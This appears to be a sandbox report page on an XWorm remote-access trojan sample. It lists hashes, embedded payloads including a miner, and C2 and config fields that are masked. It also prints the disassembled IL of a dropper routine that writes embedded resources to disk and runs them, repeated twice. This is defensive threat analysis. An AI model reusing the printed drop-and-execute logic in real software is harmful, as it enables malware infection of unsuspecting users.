Malicious
Malicious

9ba269a5292b2baa8acb21488c834460

PE Executable
MD5: 9ba269a5292b2baa8acb21488c834460
Size: 2.96 MB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Size
2.96 MB · 2,964,480 B
First seen
2026-02-12 17:30 · 8 months ago
Last seen
2026-02-12 17:30 · 8 months ago
Last analysis
2026-02-12 17:31 · 8 months ago
Hashes
MD5 9ba269a5292b2baa8acb21488c834460 Sha1 8847713cc1a8ae0d68375203d6b3563a8fb0302b Sha256 fde6dc8a8d086c22dc4a06f8162c2bcddc9727c1898916bf0b6f303027ffe547 Sha384 c683a21e46df098c867e9ac45dc2e050270f77911298abcd6cee549ffe52a8b17668e24e2f3792a785d33c1ec8ab9b5a Sha512 d2f997832b46b8ad551c1626cbbabae7fcf07eca32b7c532e678d22943d03960eb63b1cbd40c27ad27a734613b99922628d116c90bfbef038cd3fe6226f7e9ec SSDeep 49152:fpbe/GGsd/yVz/pyAmrZPYlv4192j1QvXMlcorjVOGEP1bD/ebLydRDusWo+bsy8:fEhsdq5IA+ZwlQQ1Q/MWofVl21bDMOdX TLSH DFD53351AC52B40FC85CADBE1D17D8721AE5D2DAA2FF248C9C6153A80B2E7C76C50EF4
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NETUPolyX 0.3 -> delikon
Symbol obfuscation
Very low
8 malicious · 18 files
EXE9ba269a5292b2baa8acb21488c834460XWorm
Structure
BINResources
BINRT_VERSION
BINID:0001
BINID:0
BINRT_MANIFEST
BINID:0001
BINID:0
BIN.Net Resources
BINzmpj.Resources
EXEjusched.exe
EXEjusched.exe [AES Decoded]XWorm
Structure
BINResources
BINRT_ICON
BINID:0001
BINID:0
BINID:0002
BINID:0
BINID:0003
BINID:0
BINRT_GROUP_CURSOR4
BINID:0001
BINID:0
BINRT_VERSION
BINID:0001
BINID:0
EXEminer.exe
EXEminer.exe [AES Decoded]
Structure
EXEupdate.exe
EXEupdate.exe [AES Decoded]
Structure
BINResources
BINRT_VERSION
BINID:0001
BINID:0
BINRT_MANIFEST
BINID:0001
BINID:0
BIN.Net Resources
BINupdate.Properties.Resources.resources
Config. Field Value
ref_elem_0x0000000E miner.huhuhuhuhuhuhu
ref_elem_0x00000016 updatehuhuhuhuhuhuhu
ref_elem_0x0000001E juschehuhuhuhuhuhuhu
Workpath %Thuhuhuhu
SPL -huhuhuhu
Mutex LFe32huhuhuhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Config. Field Value
Mutex CzModhuhuhuhuhuhuhu
Hosts adobe-huhuhuhuhuhuhuhuhuhuhu
Port 8huhuhuhu
KEY gokhuhuhuhu
USBNM <Xwhuhuhuhu
LoggerPath %Thuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
update.exe
Full Name
update.exe
EntryPoint
System.Void Program::Main()
Scope Name
update.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
update
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
12
Main Method
System.Void Program::Main()
Main IL Instruction Count
159
Main IL 
ldc.i4.1 <null>
stloc.s V_5
call System.Boolean Program::CreateMutex()
brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.5 <null>
stloc.s V_5
ldsfld System.Collections.Generic.List`1<System.String> Program::List
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.2 <null>
br IL_0130: ldloca.s V_2
ldloca.s V_2
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_5
ldsfld System.String Program::Workpath
call System.Object Program::GETP(System.String)
ldstr \
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.2 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_00CB: ldc.i4.s 13
ldc.i4.8 <null>
stloc.s V_5
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_00C9: br.s IL_0123
ldc.i4.s 9
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] Program::GetTheResource(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 10
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
br.s IL_0123: ldc.i4.s 19
ldc.i4.s 13
stloc.s V_5
ldc.i4.s 14
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] Program::GetTheResource(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 15
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.1 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_0123: ldc.i4.s 19
ldc.i4.s 16
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4.s 19
stloc.s V_5
call System.Void System.GC::Collect()
ldc.i4.s 20
stloc.s V_5
ldloca.s V_2
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_002D: ldloca.s V_2
ldloca.s V_2
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
leave IL_01F8: ldloc.s V_4
ldloc.s V_4
br.s IL_0156: ldc.i4.0
ldloc.s V_4
ldc.i4.1 <null>
add <null>
ldc.i4.0 <null>
stloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
ldloc.s V_5
stloc.s V_4
ldloc.3 <null>
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
isinst System.Exception
ldnull <null>
cgt.un <null>
ldloc.3 <null>
ldc.i4.0 <null>
cgt.un <null>
and <null>
ldloc.s V_4
ldc.i4.0 <null>
ceq <null>
and <null>
endfilter <null>
castclass System.Exception
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
leave.s IL_01B8: ldloc.s V_5
ldc.i4 -2146828237
call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32)
throw <null>
ldloc.s V_4
brfalse.s IL_0201: ret
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ret <null>
Module Name
update.exe
Full Name
update.exe
EntryPoint
System.Void Program::Main()
Scope Name
update.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
update
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
12
Main Method
System.Void Program::Main()
Main IL Instruction Count
159
Main IL 
ldc.i4.1 <null>
stloc.s V_5
call System.Boolean Program::CreateMutex()
brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.5 <null>
stloc.s V_5
ldsfld System.Collections.Generic.List`1<System.String> Program::List
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.2 <null>
br IL_0130: ldloca.s V_2
ldloca.s V_2
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_5
ldsfld System.String Program::Workpath
call System.Object Program::GETP(System.String)
ldstr \
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.2 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_00CB: ldc.i4.s 13
ldc.i4.8 <null>
stloc.s V_5
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_00C9: br.s IL_0123
ldc.i4.s 9
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] Program::GetTheResource(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 10
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
br.s IL_0123: ldc.i4.s 19
ldc.i4.s 13
stloc.s V_5
ldc.i4.s 14
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] Program::GetTheResource(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 15
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String Program::SPL
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.1 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_0123: ldc.i4.s 19
ldc.i4.s 16
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4.s 19
stloc.s V_5
call System.Void System.GC::Collect()
ldc.i4.s 20
stloc.s V_5
ldloca.s V_2
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_002D: ldloca.s V_2
ldloca.s V_2
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
leave IL_01F8: ldloc.s V_4
ldloc.s V_4
br.s IL_0156: ldc.i4.0
ldloc.s V_4
ldc.i4.1 <null>
add <null>
ldc.i4.0 <null>
stloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
ldloc.s V_5
stloc.s V_4
ldloc.3 <null>
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
isinst System.Exception
ldnull <null>
cgt.un <null>
ldloc.3 <null>
ldc.i4.0 <null>
cgt.un <null>
and <null>
ldloc.s V_4
ldc.i4.0 <null>
ceq <null>
and <null>
endfilter <null>
castclass System.Exception
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
leave.s IL_01B8: ldloc.s V_5
ldc.i4 -2146828237
call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32)
throw <null>
ldloc.s V_4
brfalse.s IL_0201: ret
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ret <null>
Mutex MUTEXmalicious
CzModhuhuhuhuhuhuhu
CnC CNCmalicious
adobe-huhuhuhuhuhuhu
CnC CNCmalicious
chelouhuhuhuhuhuhuhu
CnC CNCmalicious
mauvaihuhuhuhuhuhuhu
Port PORTmalicious
8huhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
8 malicious · 18 files
EXE9ba269a5292b2baa8acb21488c834460XWorm
Structure
BIN.Net Resources
BINzmpj.Resources
EXEjusched.exe
EXEjusched.exe [AES Decoded]XWorm
Structure
EXEminer.exe
EXEminer.exe [AES Decoded]
Structure
EXEupdate.exe
EXEupdate.exe [AES Decoded]
Structure
Config. Field Value
ref_elem_0x0000000E miner.huhuhuhuhuhuhu
ref_elem_0x00000016 updatehuhuhuhuhuhuhu
ref_elem_0x0000001E juschehuhuhuhuhuhuhu
Workpath %Thuhuhuhu
SPL -huhuhuhu
Mutex LFe32huhuhuhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Config. Field Value
Mutex CzModhuhuhuhuhuhuhu
Hosts adobe-huhuhuhuhuhuhuhuhuhuhu
Port 8huhuhuhu
KEY gokhuhuhuhu
USBNM <Xwhuhuhuhu
LoggerPath %Thuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Mutex MUTEXmalicious
CzModhuhuhuhuhuhuhu
9ba269a5292b2baa8acb21488c834460 › .Net Resources › zmpj.Resources › jusched.exe › jusched.exe [AES Decoded]
CnC CNCmalicious
adobe-huhuhuhuhuhuhu
9ba269a5292b2baa8acb21488c834460 › .Net Resources › zmpj.Resources › jusched.exe › jusched.exe [AES Decoded]
CnC CNCmalicious
chelouhuhuhuhuhuhuhu
9ba269a5292b2baa8acb21488c834460 › .Net Resources › zmpj.Resources › jusched.exe › jusched.exe [AES Decoded]
CnC CNCmalicious
mauvaihuhuhuhuhuhuhu
9ba269a5292b2baa8acb21488c834460 › .Net Resources › zmpj.Resources › jusched.exe › jusched.exe [AES Decoded]
Port PORTmalicious
8huhuhuhu
9ba269a5292b2baa8acb21488c834460 › .Net Resources › zmpj.Resources › jusched.exe › jusched.exe [AES Decoded]
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
Sign in or create a free account to view the matching YARA rules. Create a free account
An error has occurred. This application may no longer respond until reloaded. Reload 🗙